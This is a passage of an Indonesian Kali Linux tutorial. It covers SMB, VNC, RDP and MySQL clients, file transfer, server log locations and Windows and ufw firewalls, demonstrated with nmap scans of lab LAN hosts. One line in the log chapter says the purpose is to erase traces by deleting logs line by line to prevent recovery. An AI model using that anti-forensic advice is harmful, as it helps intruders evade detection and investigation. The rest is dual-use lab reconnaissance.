  14519744_1368843663144778_7086285674121689353_n.jpg      A    4
9 04:36:55 2016
  21.apk                              A  1957482  Thu Apr 21 20:0
  a                                   A        0  Mon Apr 18 02:5
  a.bat                               A       24  Mon Apr 18 02:5
  a.txt                               A       32  Mon Sep  5 04:3
```

Misal folder c:\a di share oleh server dengan ip address 192.168.1.9

Perintah yang dilakukan untuk melakukan koneksi :

smbclient \\\\192.168.1.9\\a

Contoh akses dir dalam gambar

```
smb: \> help
?              allinfo        altname        archive        blocksize
cancel         case_sensitive cd             chmod          chown
close          del            dir            du             echo
exit           get            getfacl        geteas         hardlink
help           history        iosize         lcd            link
lock           lowercase      ls             l              mask
md             mget           mkdir          more           mput
newer          open           posix          posix_encrypt  posix_open
posix_mkdir    posix_rmdir    posix_unlink   print          prompt
put            pwd            q              queue          quit
readlink       rd             recurse        reget          rename
reput          rm             rmdir          showacls       setea
setmode        stat           symlink        tar            tarmode
translate      unlock         volume         vuid           wdel
logon          listconnect    showconnect    ..             !
smb: \>
```

Perintah help

```
                49824 blocks of size 2097152. 3313 blocks
smb: \> get powerbr.jpg
getting file \powerbr.jpg of size 141239 as powerbr.jpg (3
(average 13792.9 KiloBytes/sec)
smb: \>
root@dhcppc4:~# pwd
/root
root@dhcppc4:~# ls -l powerbr.jpg
-rw-r--r-- 1 root root 141239 Oct 10 18:40 powerbr.jpg
root@dhcppc4:~#
```

Contoh mengambil file powerbr.jpg ke kali-linux (/root)

```
ck              lowercase
                mget
wer             open
six_mkdir       posix_rmdir
t               pwd
adlink          rd
put             rm
tmode           stat
anslate         unlock
gon             listconnect
b: \> put
t <filename>
b: \> put ponsel
tting file ponsel as \ponsel (4.0 kb/s) (average 4.0 kb/s)
b: \> dir ponsel
ponsel                              A       57  Mon Oct 10 18:44:27 2016

                49824 blocks of size 2097152. 3313 blocks available
```

```
root@dhcppc4:~# ls -l ponsel
-rw-r--r-- 1 root root 57 Mar 25  2014 ponsel
root@dhcppc4:~# cat ponsel
samsung
nokia
sony
motorola
htc
advan
ericsson
blackberry
root@dhcppc4:~#
```

Contoh mengirim file dari kali-linux (/root) ke folder windows yang di share (c:\a)

8.6 VNC Client di kali linux

In computing, Virtual Network Computing (VNC) is a graphical desktop sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical screen updates back in the other direction, over a network

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Virtual_Network_Computing

Hasil scanning dengan NMAP dengan perintah nmap 192.168.1.53

```
Starting Nmap 6.25 ( http://nmap.org ) at 2015
Nmap scan report for 192.168.1.53
Host is up (0.018s latency).
Not shown: 986 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
5900/tcp  open  vnc
10243/tcp open  unknown
```

Ketik vncviewer lalu enter, masukkan ip address VNC Server.

Hasil dari koneksi dari VNC client ke VNC Server

8.7 Instalasi rdesktop dan penggunaannya di kali linux

Rdesktop is an open source client for Windows Remote Desktop Services, capable of natively speaking Remote Desktop Protocol (RDP) in order to present the user's Windows desktop. rdesktop is known to work with Windows versions such as NT 4 Terminal Server, 2000, XP, 2003, 2003 R2, Vista, 2008, 7, 2008 R2, 2008 and 2012 R2.

rdesktop currently runs on most UNIX based platforms with the X Window System, and other ports should be fairly straightforward.

Sumber : rdesktop.org - http://www.rdesktop.org

Nmap 192.168.1.24

```
root@dhcppc4:~# nmap 192.168.1.24

Starting Nmap 6.25 ( http://nmap.org ) at 2015-08-19 10:06 EDT
Nmap scan report for 192.168.1.24
Host is up (0.00090s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
23/tcp   open  telnet
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
902/tcp  open  iss-realsecure
912/tcp  open  apex-mesh
2869/tcp open  icslap
3389/tcp open  ms-wbt-server
5900/tcp open  vnc
8701/tcp open  unknown
```

```
root@dhcppc4:~# apt-get install rdesktop
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be upgraded:
  rdesktop
1 upgraded, 0 newly installed, 0 to remove and 701 not upgraded.
Need to get 171 kB of archives.
After this operation, 25.6 kB of additional disk space will be used.
WARNING: The following packages cannot be authenticated!
  rdesktop
Install these packages without verification [y/N]? y
Get:1 http://http.kali.org/kali/ kali/main rdesktop i386 1.8.1-0kali2 [171 kB]
Fetched 171 kB in 3s (43.9 kB/s)
Reading changelogs... Done

(Reading database ... 231517 files and directories currently installed.)
Preparing to replace rdesktop 1.7.1-1 (using .../rdesktop_1.8.1-0kali2_i386.deb)
 ...
Unpacking replacement rdesktop ...
Processing triggers for man-db ...
Setting up rdesktop (1.8.1-0kali2) ...
root@dhcppc4:~#
```

Rdesktop -u data 192.168.1.24

8.8 MySQL Client di kali linux

MySQL adalah sebuah implementasi dari sistem manajemen basisdata relasional (RDBMS) yang didistribusikan secara gratis di bawah lisensi GPL (General Public License).

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/MySQL

Scanning pada ip address 192.168.1.24 dengan NMAP

```
root@dhcppc4:~# nmap 192.168.1.24

Starting Nmap 6.25 ( http://nmap.org ) at 2015-08-19 10:12 EDT
Nmap scan report for 192.168.1.24
Host is up (0.0013s latency).
Not shown: 989 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
23/tcp   open  telnet
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
902/tcp  open  iss-realsecure
912/tcp  open  apex-mesh
2869/tcp open  icslap
3306/tcp open  mysql
3389/tcp open  ms-wbt-server
5900/tcp open  vnc
8701/tcp open  unknown
```

Di atas ditemukan port 3306 dengan service MYSQL dalam keadaan terbuka.

Contoh melakukan koneksi ke MySQL Server dengan menggunakan kali linux.

```
root@dhcppc4:~# mysql -h 192.168.1.24 -u kurniawan -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 20
Server version: 5.0.51b-community MySQL Community Edition (GPL)

Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| cdcol              |
| mysql              |
| phpmyadmin         |
| test               |
| webauth            |
+--------------------+
6 rows in set (0.00 sec)

mysql>
```

Bab 9

Transfer file antar komputer

Untuk transfer file antar komputer bisa menggunakan berbagai cara seperti FTP, Samba dan sebagainya

9.1 Client ingin mengambil data di kali linux dengan memanfaatkan Web Server

Jika ingin client mengambil file di kali linux bisa juga anda mengaktifkan web server dan client diminta untuk melakukan download.

```
root@kalidata:/etc# cd ..
root@kalidata:/# cd var
root@kalidata:/var# cd www
root@kalidata:/var/www# service apache2 start
[ ok ] Starting web server: apache2.
root@kalidata:/var/www# ls
index.html  shellcode  test123  testcoba
root@kalidata:/var/www#
```

Di kali linux (mengaktifkan web service)

Di client (melakukan download file dari web server kali linux)

9.2 Pengguna kali linux ingin mengambil data di web server Windows dengan wget

Web Server

A web server is an information technology that processes requests via HTTP, the basic network protocol used to distribute information on the World Wide Web. The term can refer either to the entire computer system, an appliance, or specifically to the software that accepts and supervises the HTTP requests.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Web_server

Misal komputer dengan ip address 192.168.1.36 dilakukan scan menggunakan NMAP. Hasilnya tidak ditemukan port 80 yang terbuka dan tidak ada service HTTP.

```
root@kalidata:~# nmap 192.168.1.36

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 12:12 EDT
Nmap scan report for 192.168.1.36
Host is up (0.00071s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
```

Di komputer server diaktifkan Web Server. Di sini digunakan XAMPP.

XAMPP is a completely free, easy to install Apache distribution containing MySQL, PHP, and Perl.

Sumber : apachefriends.org - https://www.apachefriends.org

Saat dilakukan scan kembali dengan menggunakan NMAP hasilnya port 80 terbuka dan service HTTP terdeteksi.

```
root@kalidata:~# nmap 192.168.1.36

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 12:13 EDT
Nmap scan report for 192.168.1.36
Host is up (0.0043s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
```

Hasilnya saat komputer client mengakses web server tersebut, hasilnya web yang ada di server web berhasil ditampilkan.

Perintah WGET yang dilakukan untuk mengambil file yang ada di web server dengan ip address 192.168.1.36.

Port dapat diganti, misal menjadi port 82.

Setelah file httpd.conf dilakukan edit maka disimpan hasil pengeditan. Di XAMPP Control Panel Application, Appache dapat direstart dengan cara Stop lalu di Start kembali.

Perubahan port pada Service web, membuat komputer client tidak dapat mengakses kembali port 80, karena server web port-nya telah berubah menjadi port 82.

Web Server dengan ip address 192.168.1.36, port 82, dapat dipanggil di browser dengan alamat http://192.168.1.36:82.

Pengguna program kali linux dapat melakukan download dengan cara :

wget http://192.168.1.36:72/program.exe

9.3 Client Windows ingin menyalin data dari kali linux ke komputernya dengan memanfaatkan Samba service yang aktif di kali linux

Masuk ke dalam folder /etc, lalu masuk ke folder samba. Bisa juga langsung dengan cd /etc/samba. Setelah berada di /etc/samba maka lakukan pengeditan pada file smb.conf dengan menggunakan nano.

```
root@kalidata:/data# cd /etc
root@kalidata:/etc# cd samba
root@kalidata:/etc/samba# ls
dhcp.conf  gdbcommands  smb.conf  tls
root@kalidata:/etc/samba# nano smb.conf
```

Di smb.conf dapat dikonfigurasi seperti berikut, untuk akses hanya bisa baca saja, tidak dapat *write*. Setelah dikonfigurasi, maka keluar dari file smb.conf dengan cara ctrl + x, lalu pilih y.

```
# profile directory may be created
[salin data]
    comment = Users profiles
    path = /root
    guest ok = yes
    browseable = yes
    create mask = 0600
    directory mask = 0700
```

Untuk menjalankan perubahan yang telah dilakukan, maka restart service samba dengan perintah : service samba restart.

```
root@kalidata:/etc/samba# service samba restart
[ ok ] Stopping Samba daemons: nmbd smbd.
[ ok ] Starting Samba daemons: nmbd smbd.
root@kalidata:/etc/samba#
```

Di sini komputer client akan mengakses service samba. Ip Server 192.168.1.112.

```
root@kalidata:/etc/samba# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:5b:13:a3
          inet addr:192.168.1.112  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe5b:13a3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:38047 errors:0 dropped:0 overruns:0 frame:0
          TX packets:16572 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:25265601 (24.0 MiB)  TX bytes:1058153 (1.0 MiB)
```

Saat Windows mengakses SAMBA Server dengan perintah \\192.168.1.112, hasilnya seperti di bawah ini.

Jika ingin user bisa melakukan perubah pada folder yang dilakukan share maka tambahkan writeable = yes, seperti di bawah ini.

```
# profile directory may be created the first time they log on
[tempat penyimpanan data]
   comment = Users profiles
   path = /home
   guest ok = yes
   writeable = yes
   browseable = yes
   create mask = 0600
   directory mask = 0700
```

Setelah dilakukan perubahan pada file smb.conf maka restart service samba dengan perintah service samba restart. Berikutnya hak akses penuh diberikan pada folder yang dishare yaitu /home. Masuk ke // (root drive) lalu jalankan perintah : chmod 777 home.

```
File  Edit  View  Search  Terminal  Help
root@kalidata:/etc/samba# service samba restart
[ ok ] Stopping Samba daemons: nmbd smbd.
[ ok ] Starting Samba daemons: nmbd smbd.
root@kalidata:/etc/samba# cd /
root@kalidata:/# chmod 777 home
root@kalidata:/#
```

Hasilnya pengguna dapat melakukan pembuatan folder dan sebagainya.

Jika ingin dipassword folder yang dilakukan share maka buat user.

```
root@kalidata:/home# useradd -m kurniawan
root@kalidata:/home# passwd kurniawan
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@kalidata:/home# cd /etc
root@kalidata:/etc# cd samba
root@kalidata:/etc/samba# nano smb.conf
```

Tambahkan valid users = (nama user), seperti di bawah ini.

```
root@kalidata: /etc/samba
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6              File: smb.conf

# profile directory may be created the first time they log on
[tempat penyimpanan data]
   comment = Users profiles
   valid users = kurniawan
   path = /home
   guest ok = yes
   writeable = yes
   browseable = yes
   create mask = 0600
   directory mask = 0700

[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no
   read only = yes
   create mask = 0700
```

Untuk membuat passwordnya menggunakan perintah smbpasswd -a (nama user)

```
root@kalidata:/etc/samba# smbpasswd -a kurniawan
New SMB password:
Retype new SMB password:
Added user kurniawan.
```

Setelah membuat password, maka lakukan restart pada samba.

```
root@kalidata:/etc/samba# service samba restart
[ ok ] Stopping Samba daemons: nmbd smbd.
[ ok ] Starting Samba daemons: nmbd smbd.
root@kalidata:/etc/samba#
```

Hasilnya saat client melakukan akses ke SMB Server, maka user diminta untuk memasukkan user name dan password.

Tampilan hasilnya jika berhasil login ke service samba.

Jika client ingin menghubungkan diri ke FTP Server Kali Linux, maka pastikan FTP Server ada di kali linux, jika tidak ada maka dapat dilakukan instalasi dengan perintah apt-get install proftpd.

```
root@kalidata:/etc/proftpd# apt-get install proftpd
Reading package lists... Done
Building dependency tree
Reading state information... Done
Note, selecting 'proftpd-basic' instead of 'proftpd'
The following extra packages will be installed:
  proftpd-mod-vroot
Suggested packages:
  proftpd-doc proftpd-mod-ldap proftpd-mod-mysql proftpd-mod-odbc proftpd-mod-pgsql proftpd-mod-sqlite
The following NEW packages will be installed:
  proftpd-basic proftpd-mod-vroot
0 upgraded, 2 newly installed, 0 to remove and 125 not upgraded.
Need to get 0 B/2,537 kB of archives.
After this operation, 4,131 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
WARNING: The following packages cannot be authenticated!
  proftpd-basic proftpd-mod-vroot
Install these packages without verification [y/N]? y
Preconfiguring packages ...
```

Untuk mengisi folder yang dlakukan share dengan FTP Server maka dilakukan penyalinan file-file yang ada di home ke folder Kurniawan.

```
root@kalidata:/# cd home/kurniawan
root@kalidata:/home/kurniawan# ls
root@kalidata:/home/kurniawan# cd ..
root@kalidata:/home# ls
IMG_20140223_171108_1.jpg  mkbrutus.py  pass.txt    smalldict.txt
kurniawan                  New folder   proftpd.py
root@kalidata:/home# cp * kurniawan
cp: omitting directory `kurniawan'
cp: omitting directory `New folder'
root@kalidata:/home# cd kurniawan
root@kalidata:/home/kurniawan# ls
IMG_20140223_171108_1.jpg  mkbrutus.py  pass.txt  proftpd.py  smalldict.txt
root@kalidata:/home/kurniawan#
```

Di komputer client saat pengguna memanggil perintah ftp://192.168.1.112 maka muncul form yang disitu pengguna diminta untuk mengisi user name dan password.

Hasilnya jika berhasil login.

Bab 10

Letak penyimpanan logs

A server log is a log file (or several files) automatically created and maintained by a server consisting of a list of activities it performed.

A typical example is a web server log which maintains a history of page requests. The W3C maintains a standard format (the Common Log Format) for web server log files, but other proprietary formats exist. More recent entries are typically appended to the end of the file. Information about the request, including client IP address, request date/time, page requested, HTTP code, bytes served, user agent, and referrer are typically added. This data can be combined into a single file, or separated into distinct logs, such as an access log, error log, or referrer log. However, server logs typically do not collect user-specific information.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Server_log

Tujuan membahas log adalah untuk menghilangkan jejak dengan menghapus log, untuk menghindari recovery file log disarankan menghapus log perbaris, bukan menghapus filenya.

10.1 Log Access Apache Server di Windows

Letak log apache server di Windows jika menggunakan XAMPP dan diinstall di drive c secara default ada di c:\xampp\apache\logs. Nama file log nya adalah access.log.

Misal di bawah ini log dikosongkan.

Saat ada komputer client dengan ip address 192.168.1.54 mengakses web server komputer dengan ip address 192.168.1.123 maka secara otomatis server menyimpan log nya di folder logs. Saat dibuka file access.log muncul keberadaan log komputer yang mengakses web server yaitu muncul log ip 192.168.1.54, disertai tanggal dan jam waktu mengakses.

10.2 Log Access FTP Server Filezilla di Windows

Secara default FTP Server Filezilla tidak menyimpan log karena konfigurasi log pada bagian enable logging to file tidak dicentang, saat pada enable logging to file di centang dicentang dan klik OK maka secara otomatis log server aktif.

```
C:\>ftp 192.168.1.54
Connected to 192.168.1.54.
220-FileZilla Server version 0.9.49 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
User (192.168.1.54:(none)): data
331 Password required for data
Password:
230 Logged on
ftp> _
```

Di sini komputer dengan ip address 192.168.1.123 melakukan login ke FTP Server dengan ip address 192.168.1.54.

Di program filezilla server muncul tampilan keberadaan client dengan ip address 192.168.1.123 melakukan koneksi.

```
(000013)9/6/2015 22:11:16 PM - (not logged in) (192.168.1.123)> Connected on port 21, sending welcome message...
(000013)9/6/2015 22:11:16 PM - (not logged in) (192.168.1.123)> 220-FileZilla Server version 0.9.49 beta
(000013)9/6/2015 22:11:16 PM - (not logged in) (192.168.1.123)> 220-written by Tim Kosse (tim.kosse@filezilla-project.org)
(000013)9/6/2015 22:11:16 PM - (not logged in) (192.168.1.123)> 220 Please visit https://filezilla-project.org/
(000013)9/6/2015 22:11:18 PM - (not logged in) (192.168.1.123)> USER data
(000013)9/6/2015 22:11:18 PM - (not logged in) (192.168.1.123)> 331 Password required for data
(000013)9/6/2015 22:11:19 PM - (not logged in) (192.168.1.123)> PASS ********
(000013)9/6/2015 22:11:19 PM - data (192.168.1.123)> 230 Logged on
```

Pada bagian c:\program files\filezilla server\logs ada file yang nama FileZilla Server.log, saat dibuka isinya adalah berupa log yang menunjukkan komputer dengan ip address 192.168.1.123 melakukan koneksi ke server.

10.3 Log Access Server di Linux

Log seperti dari Apache Server, FTP Server dan sebagainya dapat diakses di /var/log.

```
root@ubuntu:/var/log# ls
alternatives.log    dmesg.0     landscape       syslog
alternatives.log.1  dmesg.1.gz  lastlog         syslog.1
apache2             dmesg.2.gz  mail.err        udev
apt                 dmesg.3.gz  mail.log        ufw.log
auth.log            dmesg.4.gz  mysql           ufw.log.1
auth.log.1          dpkg.log    mysql.err       unattended-upgrades
boot.log            dpkg.log.1  mysql.log       upstart
bootstrap.log       faillog     mysql.log.1.gz  vsftpd.log
btmp                fsck        news            wtmp
btmp.1              installer   proftpd         wtmp.1
dist-upgrade        kern.log    samba
dmesg               kern.log.1  squid3
root@ubuntu:/var/log#
```

Misal untuk mereka yang pernah mengakses FTP Server ProFTPD maka dapat dilihat log nya di proftpd.log ataupun di proftpd.log.1.

```
root@ubuntu:/var/log/proftpd# ls -l
total 84
-rw-r----- 1 root root     0 Nov 26  2013 controls.log
-rw-r----- 1 root adm  45410 Sep  7 12:17 proftpd.log
-rw-r----- 1 root root 21971 Jun 24 06:30 proftpd.log.1
-rw-r--r-- 1 root root   309 Jun 24 07:23 xferlog
root@ubuntu:/var/log/proftpd#
```

Di file proftpd.log berisi ip address yang pernah melakukan koneksi ke FTP Server ProFTPD.

```
  GNU nano 2.2.6              File: proftpd.log

2015-06-24 06:33:41,612 ubuntu proftpd[2152] ubuntu ProFTPD 1.3.5rc3 (deve
2015-06-24 06:33:56,868 ubuntu proftpd[2155] ubuntu (192.168.1.128[192.168.
2015-06-24 06:34:08,589 ubuntu proftpd[2155] ubuntu (192.168.1.128[192.168.
2015-06-24 06:34:10,309 ubuntu proftpd[2155] ubuntu (192.168.1.128[192.168.
2015-06-24 06:34:11,258 ubuntu proftpd[2190] ubuntu (192.168.1.128[192.168.
2015-06-24 06:34:16,681 ubuntu proftpd[2190] ubuntu (192.168.1.128[192.168.
2015-06-24 06:34:17,865 ubuntu proftpd[2190] ubuntu (192.168.1.128[192.168.
2015-06-24 06:34:18,460 ubuntu proftpd[2191] ubuntu (192.168.1.128[192.168.
2015-06-24 06:34:22,176 ubuntu proftpd[2191] ubuntu (192.168.1.128[192.168.
```

Contoh lain untuk Samba server lognya ada di var/log/samba

```
root@ubuntu:/var/log/samba# ls
cores                 log.192.168.1.196     log.nmbd          log.winbindd
log.192.168.10.31     log.192.168.1.57      log.nmbd.1.gz     log.winbindd.1.gz
log.192.168.1.127     log.core2duo-pc       log.smbd          log.winbindd-idmap
log.192.168.1.128     log.data-a74f032a56   log.smbd.1.gz     log.winxp
log.192.168.1.181     log.datakomputer2     log.wb-BUILTIN
log.192.168.1.192     log.nmap              log.wb-UBUNTU
root@ubuntu:/var/log/samba#
```

Untuk APACHE Server lognya ada di var/log/apache2, file yang dapat dibuka untuk melihat lognya ada di access.log atau access.log.1.

```
root@ubuntu:/var/log/apache2# ls -l
total 48
-rw-r----- 1 root adm   476 Jun 25 22:16 access.log
-rw-r----- 1 root adm 14552 Jun 24 06:30 access.log.1
-rw-r----- 1 root adm  1554 Sep  7 12:18 error.log
-rw-r----- 1 root adm 19095 Jun 24 06:30 error.log.1
-rw-r----- 1 root adm     0 Oct 20  2013 other_vhosts_access.log
root@ubuntu:/var/log/apache2#
```

Bab 11

Firewall

11.1 Firewall di Windows

Firewall adalah suatu sistem perangkat lunak yang mengizinkan lalu lintas jaringan yang dianggap aman untuk bisa melaluinya dan mencegah lalu lintas jaringan yang dianggap tidak aman.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Tembok_api

Firewall Windows tidak dihidupkan dan Apache Server dihidupkan.

Dalam kondisi tidak ada firewall dan service HTTP menyala, hasilnya browser client dapat mengakses Server web.

Firewall dinyalakan dan service APACHE tetap menyala

Hasilnya saat firewall menyala dan service Apache menyala, client tidak dapat mengakses service web.

Di firewall Windows klik Exception, lalu pilih Port lalu isi name dan port number yang ingn dibuka, lalu klik OK.

Hasilnya saat port 80 dibuka tapi firewall menyala, service web dapat diakses.

Firewall menyala juga tetap bisa melakukan ping pada komputer yang firewall dalam posisi menyala.

```
C:\>ping 192.168.1.36

Pinging 192.168.1.36 with 32 bytes of data:

Reply from 192.168.1.36: bytes=32 time<1ms TTL=128
Reply from 192.168.1.36: bytes=32 time<1ms TTL=128
Reply from 192.168.1.36: bytes=32 time<1ms TTL=128
Reply from 192.168.1.36: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.1.36:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:\>
```

Di firewall Windows dicentang pada bagian Don't allow excepetions.

Hasilnya browser client tidak dapat mengakses web server.

Saat dilakukan ping juga tidak bisa.

```
C:\>ping 192.168.1.36

Pinging 192.168.1.36 with 32 bytes of data:

Request timed out.
Request timed out.
Request timed out.
Request timed out.

Ping statistics for 192.168.1.36:
    Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),

C:\>
```

Meskipun tidak dapat dilakukan ping tapi bisa terdeteksi dengan dilakukan scan menggunakan NMAP.

```
root@kalidata:~# nmap -sn 192.168.1.1-254

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 14:31 EDT
Nmap scan report for 192.168.1.1
Host is up (0.0081s latency).
MAC Address: 64:66:B3:CC:6A:2A (Tp-link Technologies CO.)
Nmap scan report for 192.168.1.3
Host is up (0.0048s latency).
MAC Address: E8:94:F6:44:0C:9B (Tp-link Technologies Co.)
Nmap scan report for 192.168.1.30
Host is up (0.0052s latency).
MAC Address: A0:F3:C1:28:55:30 (Tp-link Technologies CO.)
Nmap scan report for 192.168.1.36
Host is up (0.0013s latency).
MAC Address: 08:00:27:8B:9B:E0 (Cadmus Computer Systems)
Nmap scan report for 192.168.1.53
Host is up (0.0071s latency).
MAC Address: 4C:72:B9:B1:06:16 (Pegatron)
Nmap scan report for 192.168.1.54
Host is up (0.0015s latency).
MAC Address: 00:1E:90:47:BD:B3 (Elitegroup Computer Systems Co)
```

11.2 Firewall di Linux

Di sini digunakan Uncomplicated Firewall (ufw).

Perintah ipconfig dijalankan pada komputer server untuk mengetahui ip address yang digunakan.

```
root@ubuntu:/home/kurniawan# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:49:56:16
          inet addr:192.168.1.68  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe49:5616/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2491 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1621 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:360100 (360.1 KB)  TX bytes:183267 (183.2 KB)
```

Kali linux melakukan scanning menggunakan NMAP untuk mengetahui port yang terbuka, hasilnya ditemukan port 23 menyalah dengan service telnet yang menyala.

```
root@kalidata:~# nmap 192.168.1.68

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 15:06 EDT
Nmap scan report for 192.168.1.68
Host is up (0.0015s latency).
Not shown: 992 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3128/tcp  open  squid-http
```

Saat melakukan koneksi telnet, hasilnya client berhasil masuk ke dalam komputer linux dengan ip address 192.168.1.68.

```
root@kalidata:/home/kurniawan# telnet 192.168.1.68
Trying 192.168.1.68...
Connected to 192.168.1.68.
Escape character is '^]'.
Ubuntu 13.10
ubuntu login: kurniawan
Password:
Last login: Sat Aug  8 10:09:14 WIB 2015 on tty1
Welcome to Ubuntu 13.10 (GNU/Linux 3.11.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
```

Di sini di komputer server dinyalakan firewall.

```
root@ubuntu:/home/kurniawan# ufw enable
Firewall is active and enabled on system startup
```

Saat dilakukan scan kembali menggunakan NMAP hasilnya tidak ada port yang terbuka.

```
root@kalidata:~# nmap 192.168.1.68

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 15:17 EDT
Nmap scan report for 192.168.1.68
Host is up (0.0020s latency).
All 1000 scanned ports on 192.168.1.68 are filtered
MAC Address: 08:00:27:49:56:16 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 35.27 seconds
root@kalidata:~#
```

Meskipun semua port ditutup tapi komputer dengan ip address 192.168.1.68 tetap dapat dilakukan ping.

```
root@kalidata:~# ping 192.168.1.68
PING 192.168.1.68 (192.168.1.68) 56(84) bytes of data.
64 bytes from 192.168.1.68: icmp_req=1 ttl=64 time=0.605 ms
64 bytes from 192.168.1.68: icmp_req=2 ttl=64 time=0.507 ms
64 bytes from 192.168.1.68: icmp_req=3 ttl=64 time=0.207 ms
64 bytes from 192.168.1.68: icmp_req=4 ttl=64 time=0.276 ms
^C
--- 192.168.1.68 ping statistics ---
```

Di sini dibuka port 23.

```
root@ubuntu:/home/kurniawan# ufw allow 23
Rule added
Rule added (v6)
root@ubuntu:/home/kurniawan#
```

Hasilnya saat dilakukan scan kembali, port 23 terdeteksi.

```
root@kalidata:~# nmap 192.168.1.68

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 15:22 EDT
Nmap scan report for 192.168.1.68
Host is up (0.0084s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE
23/tcp open  telnet
MAC Address: 08:00:27:49:56:16 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 17.88 seconds
```

Contoh lain pada http untuk mengetahui perbedaan deny dan reject

Saat firewall ufw tidak hidup maka web dapat dibuka dengan normal

```
root@ubuntu1310:/home/kurniawan# ufw enable
Firewall is active and enabled on system startup
root@ubuntu1310:/home/kurniawan#
```

Firewall dihidupkan

Saat diakses muncul pesan tenggang waktu tersambung habis

Port 80 diijinkan oleh firewall ufw

Hasilnya web bisa kembali diakses

Deny untuk port 80

Hasilnya seperti waktu firewall diaktifkan yaitu tenggang waktu sudah habis

```
root@dhcppc4:~# nmap 192.168.1.92

Starting Nmap 6.25 ( http://nmap.org ) at 2016-10-10 20:33 EDT
Nmap scan report for 192.168.1.92
Host is up (0.00072s latency).
Not shown: 999 filtered ports
PORT   STATE  SERVICE
23/tcp closed telnet
MAC Address: 08:00:27:E3:2C:B3 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 17.56 seconds
root@dhcppc4:~#
```

Saat dilakukan nmap tidak terdeteksi port 80

```
root@ubuntu1310:/home/kurniawan# ufw reject 80
Rule updated
Rule updated (v6)
root@ubuntu1310:/home/kurniawan#
```

Berikutnya diganti jika dilakukan reject pada 80

Pesannya berubah menjadi tidak dapat tersambung.

Hasil jika dilakukan nmap, state nya menjadi closed, sebelumnya tidak terdeteksi oleh NMAP saat dlakukan deny.

11.3 Cara blokir ip address dengan firewall ufw

```
root@ubuntufresh:/etc/apache2/sites-available# ufw status
Status: active

To                         Action      From
--                         ------      ----
80                         REJECT      Anywhere
80                         REJECT      Anywhere (v6)

root@ubuntufresh:/etc/apache2/sites-available# ufw insert 1 deny from 192.168.1.
129 to any
Rule inserted
root@ubuntufresh:/etc/apache2/sites-available# ufw allow 80
Rule updated
Rule updated (v6)
root@ubuntufresh:/etc/apache2/sites-available# ufw status
Status: active

To                         Action      From
--                         ------      ----
Anywhere                   DENY        192.168.1.129
80                         ALLOW       Anywhere
80                         ALLOW       Anywhere (v6)

root@ubuntufresh:/etc/apache2/sites-available#
```

Lakukan perintah seperti di atas

Mengakses dari ip 192.168.1.9

Mengakses dari ip 192.168.1.172

```
root@ubuntufresh:/etc/apache2/sites-available# ufw delete 1 deny from 192.168.1.
129 to any
Deleting:
 deny from 192.168.1.129
Proceed with operation (y|n)? y
Rule deleted
root@ubuntufresh:/etc/apache2/sites-available#
```

Rule untuk blokir di hapus

Materi sisipan

Hexdump & representasi hex

